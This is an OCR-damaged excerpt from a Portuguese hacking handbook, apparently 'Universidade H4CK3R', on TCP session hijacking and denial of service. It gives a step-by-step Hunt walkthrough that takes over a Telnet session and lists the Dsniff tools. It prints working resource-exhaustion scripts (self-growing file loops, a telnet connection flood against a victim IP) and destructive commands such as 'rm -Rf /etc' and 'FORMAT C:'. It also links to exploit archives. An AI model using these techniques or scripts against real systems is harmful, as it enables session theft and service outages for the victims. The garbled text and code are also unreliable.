Lembro-me das aulas de matemtica da primeira srie do primrio (hoje isso chamado de Educao Fundamental, mas tudo a mesma coisa...). Problemas matemticos eram resolvidos dividindo a folha do caderno em trs campos: sentena matemtica, clculo e resposta. Na sentena matemtica, colocvamos o que fui, anos depois, aprender que se chama forma algbrica da equao (ou da inequao ou frmula). A sentena matemtica deveria ser algo claro e bem detalhado, para que a pessoa que fosse ler a resoluo do problema pudesse entend-lo num relance. No campo Clculos, as coisas eram mais livres. Podamos preencher completamente o espao com clculos e anotaes mantendo, obviamente, alguma "limpeza", seno era nota zero! Na resposta, nos era permitido colocar apenas o resultado de nossos clculos. Em nossos estudos sobre invases, podemos colocar, em nossa sentena matemtica, o seguinte problema: Sniffmg + Spoormg = ? Faamos os clculos, ento, e vejamos no qual isso vai dar. Nas pginas anteriores vimos que sniffmg um meio de saber o que se passa numa rede local - mesmo que os dados em trnsito no sejam de nossa conta. Por outro lado, podemos enviar dados a outros computadores fingindo ser uma terceira pessoa - isso spoormg. fcil perceber que, combinando essas duas tcnicas, podemos "roubar" uma sesso entre dois computadores. "Como assim roubar?", o leitor perguntaria. Uma imagem vale por mil palavras: 1290

Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

Observe que A, B e H no precisam estar na mesma LAN.H pode estar, com efeito, na LAN de A, na de B ou em qualquer subrede intermediria. A malha de roteadores mostrada poderia ser substituda por uma "nuvem" representando a rede como um todo - poderia mesmo ser a Internet. O importante notar que H tem de estar em algum ponto pelo qual estejam passando os pacotes entre A e B. A conexo entre A e B poderia ser qualquer coisa, como uma chamada HTfP ou correio eletrnico sendo transmitido via SMTP.Capturando uma sesso de conversao por ICQ, por exemplo, podemos continuar conversando com B enquanto ele pensa que somos A. Capturando uma sesso de FTp, 5MB (redes Microsoft) ou Telnet entre o usurio A e o servidor B, por exemplo, podemos navegar pelos servidores sem precisar fazer login - A j o fez anteriormente, e B agora pensa que somos A.Acendeu uma "luzinha" a? Pois , h outras maneiras de conseguir acesso a sistemas alm do brote force e buffer overflow... Realmente, por mais que os mecanismos de autenticao sejam seguros (senhas de mo nica, criptografia, assinaturas digitais, etc.), pode-se capturar uma comunicao qualquer DEPOISque a autenticao foi feita e, assim,pular essa parte chata.As produtoras de software normalmente gastam milhes em desenvolvimento de esquemas seguros de autenticao e esquecem-se do que, uma vez feita, o sistema ir SEMPRE acreditar que o usurio o mesmo - e, como vimos, nem sempre ... Outra caracterstica de uma sesso de hijacking que no preciso estimar ou adivinhar a progresso e a preditabilidade dos nmeros seqenciais TCP.O atacante, estando no meio do caminho entre as duas estaes, tem acesso progresso real dos nmeros seqenciais TCP e pode, portanto, control-Ios quando estiver fazendo se passar por outrem. Em nosso exemplo, H est cuidadosamente registrando toda a comunicao entre A e B, incluindo a as seqncias TCP. Na prtica, os passos a serem seguidos so: 1. H deve observar - com tcnicas de sniffmg - a comunicao entre A e B por um tempo razovel, para determinar o tipo de conexo, o protocolo em uso (HTTP,SSH,FTp'Telnet, MSN,ICQ...) e a seqncia TCP nos dois sentidos. Tudo isso deve ser registrado em um arquivo e analisado. Quando a conexo estiver bem "escarafunchada", decide-se que interessante seqestr-Ia e determina-se os meios para tal, a podemos iniciar a captura. 2. H comea ento - com tcnicas de spoofmg - a "enganar" B, fazendo-o pensar que H A.A forma mais usual H simplesmente criar trfego entre ele
1291

] Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

e B, gerando pacotes cujo endereo IP de origem seja o de A. B pensar que os pacotes vm de A. 3. Uma vez que B aceita comandos de H pensando serem de A, pode-se controlar B a partir de H. Se for uma sesso de Telnet ou de SSH,H pode operar o computador B por comandos shell. Se for uma sesso FTp' H pode baixar arquivos de B que estejam liberados para A - e bloqueados para usurios de FTP annimo. Se for uma conversao MSN, H pode continuar a conversa com B fmgindo ser A. Olhando "por cima", parece que funciona. Mas h um problema: A ainda est viva e B devolve a ela pacotes TCP com o bit ACK ligado cada vez que H injeta trfego na linha. A tentar ressincronizar a conexo e responder a B na mesma medida. Alm desses ACKs esprios gerados pelos pacotes injetados por H na conexo, h ainda os pacotes normais da conexo entre A e B. Isso causar o que chamamos de tempestade ACK ou ACK storm. Quando descrevemos, pginas atrs, um spoofing baseado em Unix Trusts, retiramos do ar a mquina SERVLOGIN (aquela pela qual queramos nos fazer passar) por meio de um ataque do tipo Negao de Servio. Naquela ocasio, o fizemos para evitar que SERVLOGINderrubasse a conexo (que afmal no fora gerada por ela) com um pacote TCP RST.O caso aqui ligeiramente diferente: A realmente iniciou a conexo entre ela e B. O trfego injetado por H aproveita-se disso e a tempestade de ACKs um efeito colateral indesejado, em vez de ser um procedimento normal do protocolo TCp' como no caso do RST. Apesar de ser efetivo naquele caso especfico - no precisvamos de SERVLOGIN no decorrer da ao -, usar Denial of Service nem sempre desejvel: ~A mquina fora do ar pode voltar a qualquer momento. No h previso de
quando, e certamente o tempo que ficar desabilitada ser muito pequeno

-o

suficiente para um ou dois comandos. ~ Se o computador que sofreu o DoS for atendido por algum, ou seja, houver usurios conectados nele - por exemplo, uma estao de trabalho -, o ataque ser facilmente detectado. ~ Em alguns casos, necessrio que o computador pelo qual queremos nos
fazer passar fique "vivo"

- h recursos que s podem ser destravados por ele,

ou precisamos que o usurio acredite que ainda est conectado. ~ Era imperativo tirar a mquina do ar devido aos TCP RST,que cancelam a 2921
Ataque. defesa e contra-ataque: Invaso I

Universidade 3ano

conexo correspondente. Aqui no h RST pois o originador da conexo foi realmente - A e no H. A passa a ser necessrio e no indesejado. ~ Negao de Servio algo deselegante - e voc vaidoso, no ? A resposta est em algumas pginas um pouco mais para trs. Quando fizemos sniffmg ativo, usamos a tcnica de ARP Spoofmg para confundir o switch e as prprias estaes, colocando nossa mquina no meio da conexo. Para tal, usamos o programa Hunt em uma configurao man-in-the- middle. Bem, podemos usar a mesma idia para evitar o ACK Storm. Com o trfego passando todo pela mquina que est escutando a rede, podemos controlar a propagao desses ACKs esprios. Nessa configurao, fica claro que, como no h problema de tempestade de ACKs,podemos emitir comandos para a mquina destino (B, em nosso exemplo). Obviamente, quando a conexo entre H e B for encerrada, a diferena entre os TCP sequence numbers que A envia e que B espera to grande que a sincronizao entre A e B impossvel - e a conexo entre eles tambm cai. Programas de Hijack modernos (como o Hunt e o Dsniff) possuem, entretanto, ferramentas para ressincronizar as conexes, assim uma desconexo gratuita no ir causar desconfianas.

Selecionando

seus combatentes

claro que h a possibilidade de se fazer tudo isso manualmente. Entretanto, a maneira mais fcil usar ferramentas especialmente construdas para tal. Uma delas o Hunt, visto na sesso sobre sniffmg. O Hunt possui duas opes interessantes: simple hijacke arp/simple hijack. No menu opes, ele oferece algumas possibilidades tambm muito interessantes, como arp spoof with my mac (lembram-se do ARP Spoofmg?), learn MAC from IP traffic e switched environment (ferramentas para enganar bridges e switches). O Dsniff, outra sute de sniffing comentada anteriormente, tambm possui ferramentas para captura de sesses. Alm do prprio programa Dsniff (especializado em sniffing), a sute possui as seguintes ferramentas: Ferramentas de sniffing includas na sute Dsniff: ~ fllesnarf: copia na mquina do hacker os arquivos trafegando em uma conexo NFS (Network File System) entre dois outros computadores. ~ mailsnarf: reproduz na mquina invasora mensagens de e-mail sendo transmitidas por POP ou SMTP.Com modificaes no cdigo do programa, possveller tambm mensagens IMAP e UUCP.As mensagens so armazenadas em formato mailbox - legvel por praticamente todos os programas de email existentes. ~ msgsnarf: registra toda a conversao entre duas pessoas que estejam usando os servios de mensagem instantnea AOL Instant Messenger, ICQ 2000, IRC, MSN e Yahoo.

1293 I

] Ataque.

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

~ urlsnarf: fareja requisies HTTP e as apresenta no formato Common Log Format ou CLE Ferramentas de spoofing includas na sute Dsniff: ~ arpspoof: ferramenta para ARP Spoofing. ~ dnsspoof: forja respostas a solicitaes DNS em uma LAN. til para contornar regras de acesso baseadas no nome do host ou para implementar diversos ataques tipo man-in-the-middle baseados em DNS. ~ macof: uma ferramenta para MAC Flooding. Inunda a LAN com uma multido de endereos MAC randmicos, fazendo com que bridges e switches vulnerveis passem a se comportar como hubs - ou seja, deixando passar todo o trfego indiscriminadamente por todas as portas. Ferramentas de captura e controle (hijacking) includas na sute Dsniff: ~ tcpkill: derruba a conexo selecionada. ~ tcpnice: controla a velocidade da conexo entre dois ns sem prejudicar o restante da rede. interessante para reduzir a velocidade de uma conexo e, com isso, monitor-Ia "ao vivo". ~ sshmitm: age como um intermedirio (uma espcie de proxy) para conexes SSH.Uma vez desviada a conexo (com ferramentas como, por exemplo, o dnsspoof), o sshmitm pode farejar o trfego procura de logins e senhas e mesmo capturar a sesso.A poro mitm do nome significa man-in-the-middle. ~ webmitm: age tambm como intermedirio, desta vez para conexes HTTP/HTTPS (sim, suporta SSL!!!). til para conseguir senhas de acesso a sites e informaes normalmente inseridas em formulrios como nmeros de cartes de crdito e informaes "criptografadas". Alm do Hunt e do Dsniff, h algumas outras ferramentas para seqestro de sesses. Uma delas, muito conhecida, o Juggenaut (packetstorm. linuxsecurity .com/new-exploits/1.2.tar.gz). Outro tambm muito comentado o IP-Watcher, produto comercial (e pago) da Engarde Systems

www.engarde.com) . Um detalhe: todos eles so para Unix. No h boas opes de ferramentas para seqestro de sesses que rodem em Windows ou outras plataformas - neste caso especfico, meu amigo, voc est preso aos Unix. Uma sada dotar seu Windows de um ambiente Unix simulado como o Cygwin (www.cygwin.com) e rodar essas ferramentas l. Para isso, ser preciso instalar tambm as bibliotecas pertinentes a cada um dos softwares dentro do Cygwin. Outra maneira dotar seu Windows de uma mquina virtual PC completa, como o comercial e caro VMWare (www.vmware.com) ou o livre e gratuito Bochs (bochs.sourceforge.net), e rodar algum Unix para PC (Linux, FreeBSD, Solaris) dentro dele.

12941
Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

Seqestro na prtica (ou: como me tornei membro do AL QaedaJ


Anteriormente descrevemos uma sesso de sniffmg com o Hunt. Chegamos ao ponto de verificar os comandos que A emitia para B e ver as respostas que B enviava para A.Ainda no estvamos exatamente no meio da conversao simplesmente farejvamos o trfego ("p, passam por aqui berrando e no querem que eu escute..."). Vamos refaz-Ia, desta vez capturando a sesso. Usaremos nossa rede de testes e as mesmas instalaes que usamos em nosso experimento anterior. Usaremos tambm a mesma sesso de Telnet que descrevemos. Rapidamente relembrando o procedimento j visto, selecione a opo "o" (options) e adicione uma conn policy, de acordo com os IPs das mquinas cujas conexes queremos monitorar e, posteriormente, capturar. Digite "1"para ver se h interfaces "vivas"que obedeam a essa regra (observe o prompt do Hunt). Depois disso, digite "x" para voltar tela principal e "1"novamente para listar as conexes existentes que estejam de acordo com as conn policies defmidas. Selecione "w" (watch) para monitorar uma das conexes, e depois escolha a conexo de nossa sesso telnet (lembre-se: estamos fazendo um telnet da mquina Windows para a Coitada). Logue-se por Telnet e emita alguns comandos. Se tudo estiver certo, todos os dados em ambos os sentidos da conexo sero ecoados no Hunt - que est rodando na estao Unix. At aqui era o que havamos feito. Note que, se voc estiver em um ambiente de rede segmentado (por exemplo, h um switch em sua LAN),voc ter de fazer um ARP Spoofmg para engan-Io - caso contrrio, no conseguir ver as conexes que estejam em outro segmento. O prprio Hunt pode fazer isso. Selecione "d" (daemons) e "a" (arp spoof + arp relayer daemon), e configure os endereos IP de origem e destino pelos quais voc quer fazer ARP Spoofmg (opo "a" - add host to host arp spoot). Digite "s" para iniciar o daemon e espere alguns minutos. Dependendo do trfego de sua rede e das estaes em questo, pode demorar de um a 20 minutos para que o switch passe a distribuir pacotes indiscriminadamente. Com ou sem switch, voc est pronto para seu primeiro seqestro. Volte ao menu principal e escolha a opo "a" (arp/simple hijack). Ser perguntado qual das conexes deseja capturar. Selecione a conexo de nosso telnet e responda s perguntas sobre conexo e apresentao dos dados.A tela de captura , em um primeiro momento, idntica tela de observao (watch). O comportamento tambm o mesmo, por enquanto: tudo o que o usurio da mquina Windows fizer ser ecoado para o Hunt antes de ser enviado "Coitada", o mesmo ocorrendo com a resposta de "Coitada" para Windows. Isso ocorrer indefrnidamente, at que o Hacker deseje capturar a conexo. Para tal, basta pressionar ControI+C. Na tela, aparecer a mensagem: - press any key> 1295

IAtaque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Assim que wna tecla qualquer for pressionada, isso:


- press any key> you took over the connection CTRL-] to break

a tela do Hunt se parecer com

Pronto! J estamos em modo interativo com a sesso capturada. A mquina Windows no tem mais controle sobre a conexo, tudo o que o usurio digitar ser ecoado no Hunt na cor verde, mas no ser enviado Coitada. Por outro lado, tudo o que o Hacker digitar no Hunt ser enviado mquina Coitada. Como uma sesso de Telnet, digitar comandos de shell no Hunt resultar em sua execuo em Coitada.
- press any key> you took over the connection CTRL-] to break ls ls Comandos digitados pelo ls usurio que perdeu a conexo exit cazzo! coitada [/home/usuario]
Desktop README
>

ls
Xsetup

Xresources

aliases.sh

chooser

tmp

coitada [/home/usuario] > W 1:44am up 7 days, 5:44, 4 users, load average: 0.99, 1.22, 1.20 LOGIN@ IDLE JCPU PCPU WHAT USER TTY FROM Wed 3pm 3:48m 0.07s 0.07s -bash root ttyl 192.168.1.1 1:07am O.OOs 0.03s O.Ols w usuario pts/2 29May03 7days O.OOs ? root pts/O Wed 3pm 9:28m 0.15s 0.15s /bin/bash root pts/l

coitada [/home/usuario] >

Na tela da mquina Windows ser mostrada a seguinte informao:


$ls $ls $ls $exit $cazzo!

Ou seja, o usurio tem wna realimentao do que digitou, e nenhuma mensagem de falha ser mostrada - simplesmente no acontece nada! Essa sada , na verdade, fomecida pelo Hunt. Ele inclui o carter $ para dar uma impresso de prompt do shell - lie and deceive...

2961
Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

Com controle sobre "Coitada", o hacker pode tentar o que quiser: colocar um backdoor, apagar tudo, fazer download de documentos e arquivos importantes (inclusive o arquivo de senhas), usar a mquina como trampolim para outro ataque (mais uma maneira de spoofing...), tentar ganhar acesso irrestrito, etc, etc, etc. muito importante observar que usamos um servidor Unux como exemplo, mas o procedimento o mesmo para qualquer plataforma. Poderamos tranqilamente ter usado o Hunt para seqestrar uma sesso entre uma estao Wmdows 98 e um servidorWmdows 2000 com ns e Telnet habilitado (ou FIP ou HTTP ou POP...). Quando cansar de brincar, o invasor pressiona Control+] para sair.Ele ter, ainda, a opo de derrubar a conexo (e o usurio na mquina Wmdows receber uma falsa mensagem de problemas com a rede) ou ressincroniz-la.O Hunt inteligente nessa hora: ele tem registrados os nmeros TCP seqenciais vindos da mquina Windows e da prpria mquina Unix, na qual est o programa. Dessa forma, o Hunt sabe quantos pacotes Wmdows tem de enviar para o "limbo" antes de permitir sua reconexo mquina Coitada.Por exemplo, se o Hunt enviou 45 pacotes TCP para a Coitada, quando a captura da sesso for finalizada a mensagem
msg from root: power failure - try to type 45 characters

ser mostrada na tela de Windows. Assim que o usurio digitar a 45a tecla, os nmeros seqenciais TCP estaro novamente em sincronia. A sesso pode continuar normalmente - e, na maioria dos casos, o usurio em questo sequer perceber o que aconteceu. Mas tenha em mente que a maioria das vezes no significa todas, e um usurio que conhea o comportamento do Hunt facilmente identificar a falcatrua e avisar a autoridade competente. Tarefa para. casa: tente fazer exatamente o mesmo com o Dsniff (leia a documentao!). Voc ver que, por no ser uma ferramenta integrada como o Hunt, mas um conjunto de pequenas ferramentas de uso especfico, ter de usar vrias delas para obter o mesmo efeito. Entretanto, no mais perfeito estilo Unix de fazer as coisas, tambm ver que bem mais fcil automatizar o ataque com um shell script que faa uso delas.

Outros mtodos de desviar trfego


H muitas outras formas de colocar-se na posio de man-in-the-middle e fazer o trfego passar por seu computador antes de chegar ao destino. Algumas delas incluem desviar trfego web por meio de DNS Spoofmg. H ferramentas (como o dnsspoof, incluso na sute Dsnift) que podem ser programadas para enviar falsas respostas a requisies DNS. Por exemplo, o site da Digerati est hospedado no host 200.246.179.102. possvel usar o dnsspoof para fazer um intemauta qualquer acreditar que, em vez disso, o domnio digerati.com.br est em 200.230.xxx.yyy. L pode haver um site falso ou um sniffer que grave as informaes passadas e redirecione o trfego ao site verdadeiro. Outra forma de desviar o trfego bastante empregada faz uso do Netcat uma ferramenta poderosssima e presente em todos os Unix e no Windows.

12971
1

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Veremos os diversos usos do Netcat no prximo captulo. Uma ltima dica: h um excelente documento em packetstorm.linux security.com/new-exploits/ssh-insertion-attack.txt que discorre sobre captura de sesses usando o protocolo Secure Shell ou SSH.O SSH, grosso modo, um primo do Telnet cuja conexo toda criptografada. Bem, esse documento ensina a "meter-se" nessa conexo que muitos consideram segura.

Negao de servio (DeniaL of Service)


Nem sempre queremos obter acesso a algum sistema. Muitas vezes, por vingana, terrorismo ou simples depredao, queremos apenas derrubar um site, sistema ou rede e causar o mximo possvel de prejuzos vtima. Tal procedimento chamado atualmente de Negao de Servio porque o resultado , via de regra, a indisponibilidade temporria ou permanente do servio que estamos atacando. Outras vezes um Denial of Service (ou DoS, como normalmente chamado) necessrio como parte de um ataque maior, como vimos em nossos procedimentos de spoofing neste mesmo captulo. De uma forma ou de outra, um ataque do tipo DoS o cibercrime mais deselegante que se pode cometer - como "partir para a ignorncia", como diziam os antigos. Sem entrar em detalhes sobre as conseqncias mercadolgicas, polticas e financeiras de um ataque DoS bem-sucedido, podemos consider-Io to mortal quanto moralmente baixo, da mesma forma que uma briga de rua o . Para entender a negao de servio, imagine qualquer sistema conectado Internet que se queira derrubar como sendo um servio "no mundo real"; floricultura, pizzaria, polcia, defesa civil, etc... Imagine, por exemplo, que voc queira colocar fogo em um prdio pblico e ter certeza de que no ter seus planos arruinados por algum bombeiro com vocao para heri. Uma das maneiras de impedir que os bombeiros entrem em ao impedir que eles saibam que o prdio est em chamas. Para tal, basta manter todas as linhas do 193 congestionadas com trotes. Emergncias legtimas nunca sero atendidas. Ainda no mbito telefnico, um belo exemplo de negao de servio pde ser visto no ftlme Duro de Matar 3: o terrorista interpretado por Jeremy Irons colocou uma bomba em alguma escola primria do municpio de Nova York. Alm de no informar polcia em qual escola o aparato estava instalado, o bandido ainda divulgou a presena da bomba para a mdia. Resultado: a populao inteira da cidade comeou a ligar para os nmeros da polcia, congestionando as linhas e impedindo os policiais de trabalhar.
Negao de servio local H diversos nveis de DoS. Os mais bsicos so os causados por pessoas com acesso fsico ao sistema - em outras palavras, literalmente "meter a marreta" no equipamento. Passar com o caminho por cima da lombada eletrnica para tir-Ia de servio (e livrarse da multa) tambm pode ser considerado um tipo de negao de servio.

1298

Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

Um DoS de nvel um pouco mais alto (no mais na sarjeta, mas ainda mendigando na calada) seria o acesso lgico aos sistemas. Usurios com contas ou invasores que conseguiram acesso limitado podem tentar destruir o sistema com comandos nocivos. H diversas maneiras de fazer isso. ~ Apagamento ou destruio: um usurio com uma conta em um servidor Solaris poderia tentar um rm -Rf. em um diretrio sensvel - o letc, por exemplo. Caso o ambiente seja Windows, nada mais fcil que um FORMATC: ou um DEi *.*IS/Q. ~ Consumo de recursos: mesmo usurios com acesso muito restrito devem poder rodar programas no sistema - como trabalharo sem eles? Isso posto, possvel criar programas especialmente talhados para aumentar em progresso geomtrica o consumo de recursos da mquina - seja por mltiplos acessos a disco, inundao das interfaces de rede com trfego esprio, multiplicao indeftnida de processos ou mesmo gravao ininterrupta de dados em arquivos at preencher todo o espao disponvel. ~ Vulnerabllidades locais: um buffer overflow, se bem-feito, pode levar a acesso irrestrito ou execuo de comandos arbitrrios no sistema vulnervel. Um ataque mal-feito, entretanto, pode apenas travar o programa. Se o programa for vital para o sistema (como partes expostas do kernel em um Windows N1) ou oferecer um servio aos usurios externos (como o X-Window ou o Sendmail em um Unix), o estrago ser maior. Caso o lixo jogado na pilha seja em quantidade realmente grande, possvel que o sistema todo caia. ~ Acesso irrestrito: usurios com acesso privilegiado (por exemplo, um administrador de rede insatisfeito com seu salrio) podem fazer diversas "malvadezas" como reconftgurar servios ou matar processos importantes, alm de plantar cavalos de tria, bombas de tempo e diversos tipos de vrus. H diversas ferramentas na Internet que se prestam a esse papel, e mesmo script-kiddies com um pouco mais de tutano podem criar ferramentas simples para tal. Quer um exemplo? Em uma mquina Windows, crie um arquivo DADOS.BATe, dentro dele, coloque:
@ ECHO OFF

ECHO UHackerU > DADOS.DAT : VOLTA TYPE DADOS.DAT SYSTEM.DAT TYPE SYSTEM.DAT DADOS.DAT GOTO VOLTA:

12991

]Ataque,

defesa e contra-ataque:

Invaso

I Universidade H4CK3R I

Rode o programa DADOS.BAT e voc ver os arquivos DADOS.DAT e SYSTEM.DAT crescerem indefinidamente. Em um shell Unix to simples quanto. Experimente o seguinte script (chame-o de dados.sh):
#/bin/sh touch dados. da t touch systern.dat echo llhackerll dados.dat; while [ 1 = 1 ]; do cat dados.dat systern.dat; cat systern.dat dados.dat; done;

Execute o programinha (dados.bat no Windows, sh dados.sh no Unix) e veja o que acontece. Aparentemente nada, mas se voc der um ls no Unix ou dir no DOS para listar os arquivos (em outro shell ou outra janela do DOS) ver que o tamanho de DADOS.DATe SYSTEM.DATcrescem exponencialmente medida que o tempo passa. Rodando por apenas um minuto (60 segundos exatos) os tamanhos ficaro da ordem de 100 MB cada. Mais dez minutos e teramos dois arquivos de 1 GB cada, em 60 minutos (uma msera hora) teramos 12 GB ocupados. Os programas em DOS e Unix apresentaram desempenho semelhante quando executados no mesmo hardware. Observe que nenhum dos 2 scripts precisou de privilgios especiais para rodar: foram executados diretamente na rea autorizada para o usurio e usaram ferramentas e recursos disponveis no sistema - nada precisou ser instalado. Observe ainda que os quatro problemas listados - apagamento ou destruio, consumo de recursos, vulnerabilidades locais e alteraes por acesso irrestrito podem muito bem ser implementadas nos V1fUS que chegam a voc pela Internet e por disquetes e CDs infectados!!! De fato, os V1fUS de computador, desde que surgiram no incio dos anos 80, so um exemplo clssico de negao de servio local! Mas tudo isso de muitssimo baixo nvel. Se algum sistema computacional est merc de operrios braais munidos de marretas e picaretas algum deve perder o emprego - provavelmente o segurana da portaria e o CEO da empresa... Entretanto, h alguns tipos de ataques orquestrados externamente - em outra parte da rede interna da empresa ou mesmo via Internet. Negao de servio remoto Alm do annimato inerente aos ataques remotos, h uma inftnidade de mtodos e ferramentas que permitem que um ataque remoto tipo DoS seja des300

Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

truidor. Vamos nos ater mais teoria sobre DoS e indicar algumas ferramentas para levar tais ataques a bom termo. Mas como , de longe, a modalidade de ataque mais popular, documentada e comentada da Internet, deixaremos ao leitor a tarefa de buscar mais informaes a respeito. H dois "subtipos" de ataques DoS remotos. Alguns deles atacam vulnerabilidades conhecidas nos sistemas-alvo - como as falhas de RPC que resultaram na queda de nove dos 13 roteadores-raiz da Internet (todos nos EUA) em outubro de 2002. O outro grande grupo de DoS remoto procura exaurir todos os recursos do alvo - seja ocupao de banda da rede, multiplicao descontrolada de processos no servidor HTTP ou inundao de mensagens de e-mail - possivelmente acompanhadas de vrus potencializadores do ataque, como o Klez e o BugBear. O famoso e ancio Ping of Death - tipo de ataque usando o utilitrio Ping para gerar pacotes ICMP defeituosos e gigantescos - pertencia a ambos os tipos: gerava uma fragmentao defeituosa dos pacotes e ao mesmo tempo consumia banda. Um exemplo de ferramenta de DoS remoto do primeiro tipo o veterano WinNuke. O programa aproveitava uma falha existente no Windows 95 e no Windows NT 3.51: caso a porta 139 - nossa velha conhecida do compartilhamento de arquivos em redes Microsoft - recebesse pacotes no vlidos em lugar do protocolo 5MB, o sistema operacional travava. H verses atuais do WinNuke que exploram outras vulnerabilidades - uma vez que essa foi consertada no Windows 98 e no NT4 - e trabalham tambm com exausto de recursos. Para saber mais sobre esse tipo de ferramentas, procure por DoS ou malformed packet dos attack em seu mecanismo de busca. Inmeras ferramentas para esse e outros tipos de ataque podem ser encontradas em packetstormsecurity.nl/DoS/ e em www.astalavista.box.sk. J recaindo no segundo tipo, o tipo mais comum de ataque o SYN Flood ou inundao de pacotes TCP SYN.Lembra-se de nossa primeira tentativa de spoofing? Enfivamos um SYNcom IP de origem diferente do nosso. Naquela situao, no conseguamos estabelecer uma conexo spoofada por dois motivos: 1. Como a mquina atacada no sabia nosso IP verdadeiro, no poderia responder-nos; 2. A mquina pela qual nos fazamos passar retornava pacotes TCP RST e acabava com nossa conexo - e com nossa alegria... No caso de um DoS por SYNFlood, de que nos importa se seremos respondidos ou no? O que vale enviarmos tantos TCP SYN Spoofados quanto possvel, para que a mquina-alvo se ocupe de respond-Ios e no tenha tempo de responder a outras requisies de outras pessoas. Lembre-se: a vtima vai enviar um SYN-ACKe esperar por ACKs que nunca viro. Isso acabar por impossibilitar a vtima de responder a qualquer outro pedido de conexo ou mesmo atender a conexes j existentes.

1301 I
1

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Obviamente h outros mtodos para DoS alm do SYN Flood. Um outro mtodo muitssimo usado faz uso de pacotes ICMP Echo Request (ping!) disparados tambm em inundao. Se o IP estiver spoofado, a mquina-alvo no responder ao IP de origem, mas ao IP falso. Uma extrapolao do DoS utilizando ICMP o famoso Smurf: dispara-se ICMP Echo Request para um grande nmero de mquinas, mas colocando como endereo IP de origem o IP da vtima (e no um falso). O resultado um grande nmero de mquinas refletindo ao mesmo tempo uma multido de pacotes ICMP em direo vtima, que sai do ar praticamente no mesmo instante.

~~,
IPx.x.x.2

~-t~~-~

Outra possibilidade usar uma mensagem UDP em vez de ICMP.H um servio chamado echo, funcionando na porta 7 UDp,que simplesmente devolve ao endereo de origem tudo o que chegar por ela. Bem, imagine ento enviar um pacote UDP spoofado, cujo IP de origem 127.0.0.1 (ou seja, o loopback - em outras palavras, a prpria mquina) e o IP de destino o IP da mquina. Em uma situao dessas, o pacote UDP entra em loop dentro da mquina. Um nmero pequeno desses pacotes basta para comprometer toda a pilha TCP!IP do sistema operacional e consumir grandes percentagens da banda de rede disponvel. Extrapolando da mesma forma como no ataque Smurf, pode-se enviar para a porta UDP 7 de inmeras mquinas pacotes com IP de origem igual ao da vtima.Todas elas devolvero o presente para a mquina sob ataque - compromeOrigem: 127.0.0.1 . tendo a banda novamente. Destino:IP daVtima PortaVO P7 Se o hackerusar broadcast, ento, o que era uma leve malvadeza passa a ser uma calamidade. Tal ataque chamado de Fraggle.

~~ ~

IP da ltima

..
~

'Socorro!

3021
Ataque, defesa e contra-ataque: Invaso r

Universidade 3ano

Alm desses mtodos que tiram a mquina do ar, h outros tipos bem mais sutis, e mesmo alguns inusitados. Por exemplo, lembra-se de nossos programas de brute force? Alguns sistemas, para evitar justamente serem invadidos por brute force, limitam o nmero de logins permitidos (o nmero varia, mas a quantidade usual trs). Bem, um programa de brute force pode ser usado, ento, para bloquear sistematicamente todas as contas do sistema, impedindo que qualquer usurio-se logue. Trs acessos em cada conta so suficientes, o que toma a operao extremamente rpida e eficaz. Pode-se tambm multiplicar conexes a um servio especfico at que todos os recursos do servidor em questo sejam consumidos - seja na forma de processos abertos, seja por meio de esgotamento de banda. Por exemplo, se queremos derrubar um computador cujo servidor de Telnet esteja ligado, basta rodarmos um script como este em nossa mquina Unix:
while [1=1]
do

telnet ip.da.vtima.aqui & done;

possvel fazer o mesmo no Windows com um pouco mais de trabalho. Troque telnet pelo lynx e voc tem uma ferramenta para causar o mesmo estrago em servidores HTfP. Troque pelo comando maU e voc poder encher o servidor SMTp' etc. H ainda a possibilidade de fazer o mesmo com ping, Redes Microsoft, SSH, FTP (servidores FTP do Novell Netware so especialmente apetitosos...), Usenet, Finger, MS-SQL, MS-Access,ICQ...Acho que voc j "pescou" a idia. Apesar dos ataques acima descritos poderem ser feitos manualmente por hackers de verdade, existem algumas ferramentas que facilitam e automatizam esse tipos de ataque - e os lammers as adoram. Tais ferramentas podem ser encontradas aos montes nos mesmos lugares anteriormente citados: packetstormsecurity.nl/DoS/ e em www.astalavista.box.sk. No endereo www.astalavista.com/library/ddoslbasics/intro.shtml h um tutorial interessante (em ingls) sobre diversos tipos de pequenos ataques de DoS local e remoto que podem ser tentados. Estude todos eles, procurando na Internet exemplos e informaes adicionais sobre cada um. Mas h algo muito mais malvado que DoS simples: os ataques por negao de servio remoto distribudo, ou DDoS.

Negao de Servio Remoto Distribudo


Os ataques Smurf e Fraggle j so maneiras efetivas de ampliar ataques originados em um nico ponto - por isso mesmo so chamados de "lentes de aumento". Entretanto, mesmo se utilizando dessa lente, a banda de rede disponvel para o atacante limitada, e ele no pode manter um ataque com muitos

I 303 I
1

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R

pacotes para cada mquina amplificadora e manter, ao mesmo tempo, muitas mquinas amplificadoras enviando esses mesmos pacotes vtima. Para resolver a parada, foi desenvolvido um certo tipo de ataque em que os pacotes destinados s vtimas no saem da mquina do hacker, mas de computadores zumbis controlados remotamente por ele. Nesses computadores, o hacker instala certos tipos de cavalo de tria ou vtrUs que respondem a comandos externos e funcionam como fonte geradora do ataque so os chamados agentes ou zu.m.bis.O "contgio" d-se pelos mesmssimos mtodos j estudados at aqui - invaso, distribuio camuflada e mesmo cooperao. O atacante possui um ou mais programas mestre, que controlam os agentes. Lembra-se de quando dissemos que a invaso de sistemas menores poderia ser usado como trampolim para chegar vtima principal? Pois bem, esta uma das situaes. O atacante leva semanas, s vezes meses, para invadir pequenos sistemas computadores pessoais e servidores de pequenas empresas sem que seu interesse imediato seja tais mquinas. Elas sero usadas, isso sim, como zumbis num ataque a grandes companhias (1234 1234 1234...), e para isso necessrio que os softwares adequados estejam instalados nelas. O hacker pode, inclusive, consertar algumas coisas e at atualizar a mquina do indivduo, caso isso seja necessrio para que o ataque principal seja levado a termo. Uma vez instalado os agentes, o hacker pode iniciar um ataque a partir do mestre: "Salvem-me!" 3041
Ataque.defesa e contra-ataque: Invaso [

Universidade 3ano

